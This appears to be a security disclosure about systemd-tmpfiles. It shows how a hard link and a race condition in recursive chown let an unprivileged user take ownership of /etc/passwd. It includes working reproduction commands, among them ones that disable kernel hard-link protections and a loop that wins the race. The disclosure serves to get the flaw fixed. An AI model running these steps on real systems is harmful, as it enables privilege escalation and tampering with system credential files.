Description
These issues only affect a vanilla kernel, so for any of this to make sense on a patched distro kernel, you'll want to disable the following:
$ sudo sysctl -w fs.protected_hardlinks=0
$ sudo sysctl -w kernel.grsecurity.linking_restrictions=0
The tmpfiles.d specification for the Z type more or less implies some kind of recursive chown. The spec heads off one type of vulnerability by saying that symlinks should not be followed; however, hard links are still a problem. Consider the following:
$ cat /etc/tmpfiles.d/exploit-recursive.conf
d /var/lib/systemd-exploit-recursive 0755 mjo mjo
Z /var/lib/systemd-exploit-recursive 0755 mjo mjo
The first time that tmpfiles is run, everything is fine. But then my "mjo" user owns the directory in question, and I can create a hard link...
$ ln /etc/passwd /var/lib/systemd-exploit-recursive/x
and re-run tmpfiles...
$ sudo ./build/systemd-tmpfiles --create
to take ownership of /etc/passwd:
$ /bin/ls -l /etc/passwd
-rwxr-xr-x 2 mjo mjo 1504 Dec 20 14:27 /etc/passwd
Now, I said that everything was fine the first time that tmpfiles was run, but I lied. The recursive chown moves from the top down, meaning that systemd-exploit-recursive/x is chowned after systemd-exploit-recursive. There is a race condition there that can be exploited. In another terminal, you can run,
while true; do ln /etc/passwd /var/lib/systemd-exploit-recursive/x; done;and if you're lucky, the hard link will get created after you own the systemd-exploit-recursive directory, but before chown is called on x. This particular race condition isn't unique to the Z type. For another example, consider,
$ cat /etc/tmpfiles.d/exploit-race.conf
d /var/lib/systemd-exploit-race 0755 mjo mjo
f /var/lib/systemd-exploit-race/foo 0644 mjo mjo
Here, the same thing happens, and the "mjo" user has some time to replace foo with a hard link.